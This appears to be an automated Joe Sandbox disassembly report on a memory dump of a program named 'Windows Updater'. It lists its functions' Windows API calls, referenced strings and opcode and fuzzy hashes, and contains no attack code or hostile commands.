Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Wow64$FilePathRedirectionTemp$CopyDisableFolderNameRevert
String ID: shim_clone
API String ID: 2409701878-3944563459
Opcode ID: efef9f52487d621d1669b404cae79fb7cefa0f886a68be82e65f91bb937c3c67
Instruction ID: 4cf567f4049156226cfdfccd0275d2e3af32a60e191791af36cf76dba6c293f2
Opcode Fuzzy Hash: efef9f52487d621d1669b404cae79fb7cefa0f886a68be82e65f91bb937c3c67
Instruction Fuzzy Hash: 7751F874A403189ADB24DB64DC4ABADBBFAFF98710F1484E9E409D71C1DB709E44CB90

Uniqueness

Uniqueness Score: -1.00%

Function 005B612A Relevance: 12.1, APIs: 8, Instructions: 119windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 005B6155
SendMessageW.USER32(00000000,0000048A,?,?), ref: 005B6169
GetParent.USER32(?), ref: 005B6C8C

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Parent$MessageSend
String ID:
API String ID: 2251359880-0
Opcode ID: b70e27db56986fd8238c555ef4a7993dc88fc52826c660f416c288892f1c8652
Instruction ID: 29f1ba1b493e2a3df528136aa6ecde6c60affac5a1fceb8b77e6100d16d12cc5
Opcode Fuzzy Hash: b70e27db56986fd8238c555ef4a7993dc88fc52826c660f416c288892f1c8652
Instruction Fuzzy Hash: 1831B3717042009FDB04DF24DD59BABBFE5FB84300F04882DF686872A1D679AD09CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00572600 Relevance: 12.1, APIs: 2, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0057269F
GetLastError.KERNEL32 ref: 005726BC

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 00572661
b`^, xrefs: 0057266C
3`^, xrefs: 005726E9
l`^, xrefs: 00572695
X`^, xrefs: 005726B2
N`^, xrefs: 0057270E

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: ErrorLast
String ID: 3`^$Microsoft Enhanced RSA and AES Cryptographic Provider$N`^$X`^$b`^$l`^
API String ID: 1452528299-1033737245
Opcode ID: a5346ce84b6c04717c23b834cfab1ce28e330c4c930ba74a46b559476944b7bb
Instruction ID: f0e86398dcc95506f2e35cb57b083a86ecb73c847d767471ba18cae9463da328
Opcode Fuzzy Hash: a5346ce84b6c04717c23b834cfab1ce28e330c4c930ba74a46b559476944b7bb
Instruction Fuzzy Hash: 3D318974E0021AEBDB11DFA4ED49BAFBFB9FB08714F108119E914E7290DB7599049BA0

Uniqueness

Uniqueness Score: -1.00%

Function 005DE330 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104,14058998,?,?,-00000010,0061CB85,000000FF), ref: 005DE375
GetLastError.KERNEL32( LastError: ,0000000C,Unable to get the module path.,0000001E,?,?,-00000010,0061CB85,000000FF), ref: 005DE3E7

Part of subcall function 00597CF0: InitializeCriticalSection.KERNEL32(?,14058998,?), ref: 00597D2D
Part of subcall function 00597CF0: EnterCriticalSection.KERNEL32(?,14058998,?), ref: 00597D3A
Part of subcall function 00597CF0: GetCurrentProcessId.KERNEL32( [PID=,00000006,0062F794,00000002), ref: 00597DD8
Part of subcall function 00597CF0: GetCurrentThreadId.KERNEL32 ref: 00597DF7

_wcsrchr.LIBVCRUNTIME ref: 005DE48F
_wcsrchr.LIBVCRUNTIME ref: 005DE4EA

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

Strings

Unable to get the module path., xrefs: 005DE3CE
LastError: , xrefs: 005DE3DA

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CriticalCurrentProcessSection_wcsrchr$EnterErrorFileHeapInitializeLastModuleNameThread
String ID: LastError: $Unable to get the module path.
API String ID: 2208616992-1723246353
Opcode ID: 45fff57c370a74ac6d2c05c8cf314b7573dba825f83c95871d318762e22499e8
Instruction ID: 5d14a1b20569cc8b157af62611ba483eaabcfaa4d632a73b9c213d58f3cbee17
Opcode Fuzzy Hash: 45fff57c370a74ac6d2c05c8cf314b7573dba825f83c95871d318762e22499e8
Instruction Fuzzy Hash: 1461A7706006469BDB24EF68DD5EFAEBBA5FF84310F14825AE4159B2D2EB709D04CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0057E300 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shlwapi.dll,00000020,00000044,?,00000000,?,?,?,?,0057A4BA,?,?,005E0AB1), ref: 0057E31B
GetProcAddress.KERNEL32(00000000,DllGetVersion), ref: 0057E331
FreeLibrary.KERNEL32(00000000), ref: 0057E36A
FreeLibrary.KERNEL32(00000000,?,00000000,?,?,?,?,0057A4BA,?,?,005E0AB1,?,?,?,14058998,00000000), ref: 0057E386

Strings

Shlwapi.dll, xrefs: 0057E31A
DllGetVersion, xrefs: 0057E32B

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Library$Free$AddressLoadProc
String ID: DllGetVersion$Shlwapi.dll
API String ID: 1386263645-2240825258
Opcode ID: 907f4fa914ab9201fe968f430d59976792640e59bb3bac0e1b6af3f1ef043c42
Instruction ID: f2034c126390fdcdc1798b5e718cca9c8ac7a9c211e8dbfb80044c261282199e
Opcode Fuzzy Hash: 907f4fa914ab9201fe968f430d59976792640e59bb3bac0e1b6af3f1ef043c42
Instruction Fuzzy Hash: 3B21A4726043059BD300EF29E88266FBBE5BFDD710B84096EF489D7241EB35984497A2

Uniqueness

Uniqueness Score: -1.00%

Function 005E6211 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,005E628C,005E61EF,005E6490), ref: 005E6228
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 005E623E
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 005E6253

Strings

AcquireSRWLockExclusive, xrefs: 005E6238
ReleaseSRWLockExclusive, xrefs: 005E6248
KERNEL32.DLL, xrefs: 005E6223

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 2392dc77a288baafd793e1c3303c33318ee40b2f5926cbd1056605afa020a295
Instruction ID: 803212a05423fd056b7cc5669c71531b36fd7e5c52f11568679f2bcf8bb7ca8e
Opcode Fuzzy Hash: 2392dc77a288baafd793e1c3303c33318ee40b2f5926cbd1056605afa020a295
Instruction Fuzzy Hash: E0F0F63EB422A2AB0F658FB29CD15AA2FDA7B337D430D447AEA81D2150D710CC8197D1

Uniqueness

Uniqueness Score: -1.00%

Function 005E0000 Relevance: 9.3, APIs: 6, Instructions: 258registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

Part of subcall function 005E02F0: _wcschr.LIBVCRUNTIME ref: 005E033D
Part of subcall function 005E02F0: _wcsrchr.LIBVCRUNTIME ref: 005E0518

RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?), ref: 005E00A3
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,00000104), ref: 005E00F0
GetLastError.KERNEL32 ref: 005E0100
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,00000104), ref: 005E0143
RegCloseKey.ADVAPI32(?), ref: 005E01A3
RegCloseKey.ADVAPI32(?,-00000002), ref: 005E024F

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CloseQueryValue$ErrorHeapLastOpenProcess_wcschr_wcsrchr
String ID:
API String ID: 3993287909-0
Opcode ID: 74f11420864da666b404e979f9460fc4356d08f30aa617d907b0a23787e474f9
Instruction ID: dcef83496711fb4f0c3c4c03a6827410606ed235b5bfa5f0ad1b6a4e0b6b46d6
Opcode Fuzzy Hash: 74f11420864da666b404e979f9460fc4356d08f30aa617d907b0a23787e474f9
Instruction Fuzzy Hash: 0491EF70900249DBDB09CBA8CC48BEEBBB5FF45314F248168E444AB291DB759E41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 005A2390 Relevance: 9.2, APIs: 6, Instructions: 223memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 005A23DD
SysFreeString.OLEAUT32(00000000), ref: 005A2400
SysAllocString.OLEAUT32(?), ref: 005A248D
SysFreeString.OLEAUT32(00000000), ref: 005A24B0
SysAllocString.OLEAUT32(?), ref: 005A2572
SysFreeString.OLEAUT32(00000000), ref: 005A2597

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 31afaf77edca1171fcc88bc0974b59abf25cdaad920ecb92b752ed5a0930c6f4
Instruction ID: 684f0867bcccfd4cd3a687c94f5d41a7400cf7b4c409122c80ac12f37dec407d
Opcode Fuzzy Hash: 31afaf77edca1171fcc88bc0974b59abf25cdaad920ecb92b752ed5a0930c6f4
Instruction Fuzzy Hash: 3E717F76A04619EFDB14CF58D805B99BBE8FB09B20F10C66AEC14DB790D779D900CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00580690 Relevance: 9.1, APIs: 6, Instructions: 134COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005806CD
std::_Lockit::_Lockit.LIBCPMT ref: 005806EF
std::_Lockit::~_Lockit.LIBCPMT ref: 00580717
__Getcoll.LIBCPMT ref: 005807DF
std::_Facet_Register.LIBCPMT ref: 00580824
std::_Lockit::~_Lockit.LIBCPMT ref: 0058084E

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetcollRegister
String ID:
API String ID: 1184649410-0
Opcode ID: 2d5cb5b6a3971444ef9d3a86dbc2ca0035a427ef49854cf5c6865d57256534ad
Instruction ID: b06c061729e00df327171fa3fdbf2dad8b790bd37f8c78a5ec99404c9cb27505
Opcode Fuzzy Hash: 2d5cb5b6a3971444ef9d3a86dbc2ca0035a427ef49854cf5c6865d57256534ad
Instruction Fuzzy Hash: A651DBB0C01259EFDB05EF98D984B9EBFB5FF44314F204059E859AB282DB74AA05CF80

Uniqueness

Uniqueness Score: -1.00%

Function 005C84B0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 291COMMON

Download Yara Rule

APIs

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

GetSystemDefaultLangID.KERNEL32 ref: 005C8506

Part of subcall function 0057ABB0: GetLocaleInfoW.KERNEL32(?,00001004,00000000,00000000,14058998), ref: 0057ABE5

Strings

{\rtf1\ansi\ansicpg%u\deff0{\fonttbl{\f0\fswiss\fcharset1 %s;}{\f1\fnil\fcharset2 Symbol;}{\f2\fnil\fcharset3 %s;}}{\*\generator Msftedit 5.41.15.1507;}\viewkind4\uc1\pard\li144\lang%u\f0\fs20 , xrefs: 005C8564
\par, xrefs: 005C8660, 005C869A, 005C8743
Segoe UI Semibold, xrefs: 005C8529, 005C8550
Segoe UI, xrefs: 005C8524, 005C8556

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: DefaultHeapInfoLangLocaleProcessSystem
String ID: Segoe UI$Segoe UI Semibold$\par${\rtf1\ansi\ansicpg%u\deff0{\fonttbl{\f0\fswiss\fcharset1 %s;}{\f1\fnil\fcharset2 Symbol;}{\f2\fnil\fcharset3 %s;}}{\*\generator Msftedit 5.41.15.1507;}\viewkind4\uc1\pard\li144\lang%u\f0\fs20
API String ID: 168325206-363396331
Opcode ID: d426f80152fb889c6b7dde565d7b94011612f020dc892a6f52c3b4e7e61a7edb
Instruction ID: 1e14e315ff26a50d27caec34749ad15edcd62d56159dacdb01d5bbfa53f7fbe6
Opcode Fuzzy Hash: d426f80152fb889c6b7dde565d7b94011612f020dc892a6f52c3b4e7e61a7edb
Instruction Fuzzy Hash: B3B1A43060020ADFDB00DFA4CC89FAEBBB5FF94314F148669F915AB292DB759905CB91

Uniqueness

Uniqueness Score: -1.00%

Function 005DE570 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104,14058998,?,00000000,?,000000FF), ref: 005DE5B5

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

GetLastError.KERNEL32( LastError: ,0000000C,Unable to get the module path,0000001D,?,000000FF), ref: 005DE627

Part of subcall function 00597CF0: InitializeCriticalSection.KERNEL32(?,14058998,?), ref: 00597D2D
Part of subcall function 00597CF0: EnterCriticalSection.KERNEL32(?,14058998,?), ref: 00597D3A
Part of subcall function 00597CF0: GetCurrentProcessId.KERNEL32( [PID=,00000006,0062F794,00000002), ref: 00597DD8
Part of subcall function 00597CF0: GetCurrentThreadId.KERNEL32 ref: 00597DF7

Strings

/runservice, xrefs: 005DE6EB
LastError: , xrefs: 005DE61A
Unable to get the module path, xrefs: 005DE60E

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CriticalCurrentProcessSection$EnterErrorFileHeapInitializeLastModuleNameThread
String ID: LastError: $/runservice$Unable to get the module path
API String ID: 3872232338-2585480779
Opcode ID: 9b5f8e366093890d5b966fe03f0fd4e3c31db7d7917dd23e65a6ae10b85881f9
Instruction ID: f653b1c653773059623c74ba9784154fb11ae3eb163586e89f318d6ab492ffed
Opcode Fuzzy Hash: 9b5f8e366093890d5b966fe03f0fd4e3c31db7d7917dd23e65a6ae10b85881f9
Instruction Fuzzy Hash: 1441F9706006559BDB14EF68DC0AFAEBF65FF84710F14825AF8199B2D2EB70DA04CB90

Uniqueness

Uniqueness Score: -1.00%

Function 005E2060 Relevance: 7.7, APIs: 5, Instructions: 207windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 005E207E
IsWindowVisible.USER32(?), ref: 005E20C5
SendMessageW.USER32(?,0000000B,00000000,00000000), ref: 005E20DB
SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 005E22AB
RedrawWindow.USER32(?,00000000,00000000,00000185), ref: 005E22BC

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Window$MessageSend$LongRedrawVisible
String ID:
API String ID: 554559110-0
Opcode ID: 64c8b728d7e930f9328515dfb707d932a36c03e76ca8d17b8f3ac1e7b1a59405
Instruction ID: 3af5d80dd5c12150ac52f75368cdb5273019c2e344a8c4cee84bae1353dbcedc
Opcode Fuzzy Hash: 64c8b728d7e930f9328515dfb707d932a36c03e76ca8d17b8f3ac1e7b1a59405
Instruction Fuzzy Hash: FD7164346083828FD318CF1AC984A1AFBE5FF88704F544A2DF699972A1D7B1E944CB52

Uniqueness

Uniqueness Score: -1.00%

Function 005C4410 Relevance: 7.7, APIs: 5, Instructions: 153COMMON

Download Yara Rule

APIs

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

GetDlgItem.USER32(?,00000415), ref: 005C44DC
GetDlgItem.USER32(?,000003EB), ref: 005C44E9

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Item$HeapProcess
String ID:
API String ID: 2714335936-0
Opcode ID: c64a037b1cb984a83ef374676f54be17e8209325ea9613f63789a6cbe88450e5
Instruction ID: fe64e84313756a3555aeb7911325370c8af1116ee9b4783424ffbbb9786b9f3a
Opcode Fuzzy Hash: c64a037b1cb984a83ef374676f54be17e8209325ea9613f63789a6cbe88450e5
Instruction Fuzzy Hash: 54519B726002089FDB10DF58D885B9ABBE8FB45720F1086AEF9199B391C7B1E940CF90

Uniqueness

Uniqueness Score: -1.00%

Function 005C22C0 Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNEL32(000000FF,00000000,00000004,00000000,00000004,?,?,00000000,14058998,?,14058998,-0000000C,/install,?,00000000), ref: 005C2323
GetLastError.KERNEL32(?,14058998,-0000000C,/install,?,00000000), ref: 005C2330
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,?,14058998,-0000000C,/install,?,00000000), ref: 005C236B
GetLastError.KERNEL32(?,14058998,-0000000C,/install,?,00000000), ref: 005C237B
CreateEventW.KERNEL32(00000000,00000000,00000000,14058998,14058998,00000000,-00000005,?,?,14058998,-0000000C,/install,?,00000000), ref: 005C2403

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CreateErrorFileLast$EventMappingView
String ID:
API String ID: 267765441-0
Opcode ID: 1b16fd8d756e5168c4513c4f096105ce9e1343531dc79588011449cb7025ad22
Instruction ID: c6e5afe987f6c7270c87a2f32f9c9c4f4952270a5fe674439c3003aaedcfbd64
Opcode Fuzzy Hash: 1b16fd8d756e5168c4513c4f096105ce9e1343531dc79588011449cb7025ad22
Instruction Fuzzy Hash: 57516871A00A06DFD710CFA9CC49B9AFBB9FF88720F14876DE425972E0DB34A9018B50

Uniqueness

Uniqueness Score: -1.00%

Function 005B6330 Relevance: 7.6, APIs: 5, Instructions: 131COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,?,00000001,?,00000000,75A85540), ref: 005B638C
SetWindowPos.USER32(00000000,00000000,?,00000000,?,?,00000004,00000000,?,?,00000000,75A85540), ref: 005B63DF
InvalidateRect.USER32(?,00000000,00000001,00000000,?,?,00000000,75A85540), ref: 005B63FD
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004,?,?,00000000,75A85540), ref: 005B644E
InvalidateRect.USER32(?,00000001,00000001,?,?,00000000,75A85540), ref: 005B647B

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: InvalidateRect$Window
String ID:
API String ID: 2579585970-0
Opcode ID: 3ad82de22479ba7d1a6bbbb3f5b49e48536e3eee3040cd2a7ecd8c1a3f670ac8
Instruction ID: ad1c2ed2aa7a444838737e4d666b3225ee3b248be9169ac37daf2c69d32f611e
Opcode Fuzzy Hash: 3ad82de22479ba7d1a6bbbb3f5b49e48536e3eee3040cd2a7ecd8c1a3f670ac8
Instruction Fuzzy Hash: DA416D712046059FD714CF28D886AABBBE9FFC8714F044A2EF999D7290DB70EC458B52

Uniqueness

Uniqueness Score: -1.00%

Function 005D86C0 Relevance: 7.6, APIs: 5, Instructions: 119COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,14058998), ref: 005D86E9
EnterCriticalSection.KERNEL32(0064E2E4,?,14058998), ref: 005D8707
DestroyWindow.USER32(00000000,?,14058998), ref: 005D8725
LeaveCriticalSection.KERNEL32(0064E2E4,?,14058998), ref: 005D876E
CoUninitialize.OLE32(?,14058998), ref: 005D8834

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: CriticalSection$DestroyEnterFreeLeaveLibraryUninitializeWindow
String ID:
API String ID: 1669412380-0
Opcode ID: dd9aeb9733885456d80fbeb3ded5077a47cca53e8347a69e2640a67243375b28
Instruction ID: 3f5a3aac746546012d70132e0399e9232355ac900e6a4a935316c51820818c1f
Opcode Fuzzy Hash: dd9aeb9733885456d80fbeb3ded5077a47cca53e8347a69e2640a67243375b28
Instruction Fuzzy Hash: AB41BD75901300DFD730DF68D808B6ABBE5FF15B10F14492EE895A7390DBB6A844CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0057E3E0 Relevance: 7.6, APIs: 5, Instructions: 96fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0057E050: SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?,14058998,?), ref: 0057E0A4
Part of subcall function 0057E050: GetTempPathW.KERNEL32(00000104,?), ref: 0057E139
Part of subcall function 0057E050: GetTempFileNameW.KERNEL32(?,shim_clone,00000000,?), ref: 0057E16A
Part of subcall function 0057E050: Wow64DisableWow64FsRedirection.KERNEL32(00000000,?), ref: 0057E19D

GetFileVersionInfoSizeW.VERSION(?,?,?,14058998), ref: 0057E42D
